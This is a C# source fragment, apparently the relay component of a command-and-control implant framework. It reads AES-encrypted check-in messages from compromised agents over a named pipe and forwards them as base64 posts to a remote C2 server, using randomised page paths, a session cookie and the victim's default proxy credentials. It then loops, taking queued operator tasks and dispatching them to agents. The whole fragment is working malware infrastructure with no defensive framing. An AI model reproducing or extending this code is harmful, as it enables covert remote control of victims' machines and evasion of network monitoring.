// Manage agentid request
public void Run()
{
ManageAgentIdRequest();
try
{
Utility.CheckInMsg msg = ManageCheckInMsg();
if (msg != null)
{
//Get checked in to server
//wait for command
do
{
try
{
//string rpaddress = String.Format("https://{0}:{1}/{2}", Program.host, Program.port, Program.pageget[new Random().Next(Program.pageget.Length)]);
//wc.Add(new Cookie("sessionid", cookie, "/", Program.host));
if (commands.ContainsKey(AgentId))
{
commands.TryGetValue(AgentId, out List <Utility.TaskMsg> list);
if (list.Count > 0)
{
//Received command from server
//Send command to agent and send back result to server
Utility.TaskMsg task = list.First();
list.Remove(task);
ManageCommand(task);
}
}
}
catch (Exception)
{
}
Thread.Sleep(5000);
} while (true);
}
}
catch (Exception e)
{
Console.WriteLine("[x] Error during checkin agentid {0}", agentid);
Console.WriteLine("[x] {0}", e.Message);
}
}
private Utility.CheckInMsg ManageCheckInMsg()
{
var result = Utility.ReadMessage(pipe);
//Espect cehckin message
string line = Crypto.Aes.DecryptAesMessage(result, webaeskey, webaesiv);
Utility.CheckInMsg msg = new Utility.CheckInMsg();
try
{
msg = new JavaScriptSerializer().Deserialize <Utility.CheckInMsg>(line);
//Send checkin message to server
string rpaddress = String.Format("https://{0}:{1}/{2}", host, port, pagepost[new Random().Next(pagepost.Length)]);
string checkinmsg = new JavaScriptSerializer().Serialize(msg);
var checkinmsgenc = Crypto.Aes.EncryptAesMessage(checkinmsg, webaeskey, webaesiv);
string post = String.Format("{0}={1}", param, Convert.ToBase64String(checkinmsgenc));
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
wc.Add(new Cookie("sessionid", cookie, "/", host));
string resp = wc.UploadString(rpaddress, post);
string respjson = Crypto.Aes.DecryptAesMessage(Convert.FromBase64String(resp), webaeskey, webaesiv);
byte[] bytes = Crypto.Aes.EncryptAesMessage(respjson, webaeskey, webaesiv);
pipe.Write(bytes, 0, bytes.Length);
}
catch (Exception e)
{
msg = null;
Console.WriteLine("Error: " + e.Message);
Console.WriteLine("Error: " + e.StackTrace);
}
return(msg);
}
